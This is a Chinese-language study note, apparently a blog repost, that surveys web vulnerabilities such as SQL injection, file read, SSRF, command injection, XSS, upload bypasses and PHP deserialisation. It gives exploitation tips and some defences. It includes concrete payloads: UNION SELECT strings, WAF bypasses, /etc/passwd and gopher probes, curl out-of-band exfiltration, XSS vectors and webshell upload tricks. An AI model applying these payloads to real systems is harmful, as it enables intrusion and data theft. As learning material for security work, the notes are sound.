当前位置: 首页 > news >正文

漏洞挖掘-利用

一、文章简介

        整合一些web漏洞,以及对漏洞的理解。

二、Web漏洞

1.SQL注入

(1)定义

        开发者程序编写过程中,对传入用户数据过滤不严格,将可能存在的攻击载荷拼接到SQL查询语句当中,再将这些查询语句传递到后端的数据库执行,从而引发实际执行的语句与预期不一致的情况。

(2)利用

1、数字型:输入点附近没有引号包裹($_GET['id'])运算模式被运算,即1+1 => 2

2、字符型:($id)运算模式无法运算,即1+1 => 1+1

(3)碰到的问题

1、联合查询只有一行结果,无法显示所需要的

答:用 limit 进行参数限制 或者 另一条记录用一个很大的值使其无法被查询到

2、注入语法示例

答:

        xxxxx'union select table-name,1 from information_schema.tables where table_schema='dvwa'#

        xxxxx'union select column_name,1 from information_schema.columns where table_name='users'#

3、注入流程

答:

        1、判断字符型还是数字型;

        2、判断字段数量;

        3、查看回显字段;

        4、获取数据库和用户名;

        5、查表名;

        6、查表字段;

        7、读取

注:复选框则通过Burpsuite抓包repeater;若引号无法使用,将表名改为database()自动获取,以及十六进制转换提交。

(4)防御

1、查询前的条件利用函数判断,函数过滤

2、输入转义、参数化查询

3、waf防护、云端防护

(5)注入思路

1、只过滤空格 => url编码代替空白符(如:%09)

2、将select替换为空 => 嵌套构造(如:selselectect)

3、大小写匹配 => 大小写混写(如:sElect)

4、正则匹配 =>构造绕过(如:正则'\bselect\b' => /*!50000select*/)

5、逃逸引号 => 编码绕过,\转义

6、字符串截断 =>\转义

(6)危害

        获取敏感数据,权限提升,控制关键文件,控制整个数据库,执行系统命令

2.任意文件读取

(1)定义

        攻击者通过一些手段读取服务器上开发者不允许读到的文件。

(2)利用

1、php的 php://filter 伪协议

2、Python的 feature函数

3、java的 file://协议

4、Ruby on Rails远程代码执行漏洞(CVE-2017-14849;CVE-2018-3760;CVE-2019-5418)

5、node模板注入、代码注入

6、nginx配置错误导致目录穿越(/static../ => /static/../)

(3)思路

1、爆破目录

2、利用filter协议:php://filter/convert.Base64-encode

3、利用zip协议:zip://uploads/xxx.png#1.php

3.SSRF漏洞(服务器请求伪造)

(1)定义

        攻击者通过构造数据进而伪造服务器端发起请求的漏洞,通常是服务端提供了从外部服务获取数据的功能,但没对目标地址协议等参数进行过滤限制,导致攻击者可以自由构造函数,发起预期外的请求。

(2)利用

        1、测试是否能控制支持常见协议(file://etc/passwd  、dict://xxx.xxx.xxx:xxxx/info 、gopher://xxxxx)

        2、写入Crontab反弹shell攻击Redis

        3、DNS重绑定

4.命令执行漏洞

(1)定义

        调用函数执行命令且未对输入做过滤处理。

(2)利用

        构造使其能同时执行多条命令即可

(3)思路

1、黑名单关键字=>利用变量进行拼接;使用通配符(?/*);借用已有字符( substr() 截取) 

2、无回显=>指令外带,在平台上获取执行结果(for /F %x in (xx) do xxxxx)or (curl xx/'xxx');时间盲注(ping -nc 5 xxxxx);命令写入web目录下(x.php?cmd=whoami>test)再访问文件。

3、正则限制=>找缺漏(如:正则未多行匹配,进行绕过)

4、限制命令长度=>利用上传的文件名字拼接

5.XSS(跨站脚本攻击)

(1)定义

        利用网页开发的漏洞,注入恶意代码到网页使用户加载并执行攻击者恶意制造的网页程序

(2)利用

1、存储型:恶意代码被服务器存储,在访问页面时会直接触发。

2、反射型:恶意代码未被服务器存储,每次出发通过GET/POST方式提交触发。

3、DOM型:在前端通过JS渲染完成数据交互,且不经过服务器,不需要与服务器交互

(3)思路

1、特殊标签闭合实现payload逃逸

2、闭合引号在变量传入恶意代码

3、on事件;img标签;input标签的autofocus属性;

4、伪协议: javascript:xxx (如: javascript:alert(1) )

5、data伪协议(如:data:text/html;base64,PHNjcmlwdD5hbGVydCgieHNzIik8L3NjcmlwdD4=)

注:乱码为<script>alert("xss")</script>的base64编码

6、借助模板的二次渲染完成沙箱逃逸(jinjia2)

7、html编码

8、变量替代

9、闭合引号转义

10、JSONP命令接口(callback=xxxxxx)

注:JSONP:解决主流浏览器的跨域数据访问,指向一个接口(动态添加)

(4)防御

1、httponly

2、输入检查

3、输出检查(安全的编码函数)

6.web文件上传漏洞

(1)定义

        实现文件上传时,没有对用户上传的文件做好处理

(2)利用

1、00截断:x.php/00.jpg=>x.php

2、转换字符集造成截断

3、文件后缀绕过(php3/php5/phtml/pht)

4、上传.htaccess/.user.ini

5、IIS解析漏洞(x.asp;a.jpg=>x.asp)

6、Nginx解析漏洞(先构造代码将后缀改为jpg,之后上传x.jpg文件,访问x.jpg/1.php,因为该文件不存在且要用php解析,故最后以php解析了x.php)

7、Apache解析漏洞(使用AddType时,x.php.xxx文件由于没有对应的处理器处理xxx,所以往左识别出php,交给php处理器处理)

8、Apache CVE-2017-15715漏洞(FilesMatch指令正则中$能匹配到换行符,导致.php\n的文件能被解析)

9、location匹配顺序导致绕过

注:location ^~:普通字符串匹配后不再进行正则匹配;location:大小写敏感,前缀匹配,不是完全匹配则会继续匹配;location ~:正则匹配,匹配成功则不考虑后面的

10、临时文件利用

11、死亡之die绕过:使用字符串过滤器把exit()处理掉(upload.php --data "filename=php://filter/write=convert.base64-decode/resource=x.php")

12、zip文件绕过;zip文件在文件被删除前访问文件生成另一个脚本文件到非上传目录中(不断上传访问最终成功);解压到一半失败的zip包;目录跳跃(当使用第三方解压方法时,文件名为../x.php)

(3)碰到的问题

1、web服务器中配置上传目录的脚本文件禁止访问

答:将目录穿越上传到根目录(../x.php)。

2、文件上传到OSS(云服务器)怎么办?

答:当网站把OSS绑定在自己的二级域名下时就能用了。

3、上传文件无法被解析访问

答:上传一个php文件配合文件包含实现解析(page.php?upload=x.php)

4、getimgesize检测文件是否为正常图片的绕过

答:php代码添加到图片内容后即可

5、imagecreatefromjpeg绕过

答:上传正常图片,下载回渲染后的图片,运行脚本处理,将代码注入图片,上传新生成的图

7.反序列化漏洞

(1)反序列化定义

        将对象的状态信息转换为可存储或者可传输的过程就是序列化,反序列化是为了方便对象的传输,获取之前的对象

(2)利用

1、__wakeup失效 CVE-2016-7124:属性个数不正确使wakeup失效后,利用destruct写入文件

2、bypass反序列化正则拦截逃逸:函数中存在"+"的判断,在对象名的长度前加上"+"号即可

3、字符逃逸CVE-2015-8562:类中不存在的属性也会进行反序列化,因字符数不对应出错,本身过滤函数使用后会变为2倍出错,故直接写入正确数量插入。(插入";i:1;s:8:"scanfsec";},长度为22,原序列添加22个x且长度加22*2=44个)

http://www.lryc.cn/news/145033.html

相关文章:

  • React钩子函数之useDeferredValue的基本使用
  • lodash常用方法
  • QByteArray与结构体之间相互转换
  • npm如何安装淘宝镜像
  • 从项目中突显技能:在面试中讲述你的编程故事
  • python的观察者模式案例
  • C语言——类型转换
  • jmeter性能测试入门完整版
  • 报错sql_mode=only_full_group_by
  • 伪造 IP 地址的原理和防范措施
  • Linux通过libudev获取挂载路径、监控U盘热拔插事件、U盘文件系统类型
  • 【会议征稿】2023智能通信与网络国际学术会议(ICN 2023)
  • Android投屏总结
  • vue2 组件组成部分,组件通信,进阶语法
  • 信看课堂笔记—LDO和DC-DC电路打PK
  • C++ Day6
  • 分布式系统与微服务的区别是什么?
  • python:用python构建一个物联网平台
  • 基于Qt5开发图形界面——WiringPi调用Linux单板电脑IO
  • 【MySQL】组合查询
  • ChatGPT:引领人机交互的未来
  • 【算法】经典的八大排序算法
  • 防溺水预警识别系统算法
  • Redis 的整合 Jedis 使用
  • Mainline Linux 和 U-Boot编译
  • Mycat教程+面试+linux搭建
  • 基于工作过程的高职计算机网络技术专业课程体系构建策略
  • (笔记四)利用opencv识别标记视频中的目标
  • 一、计算机硬件选购
  • Dockerfile制作LAMP环境镜像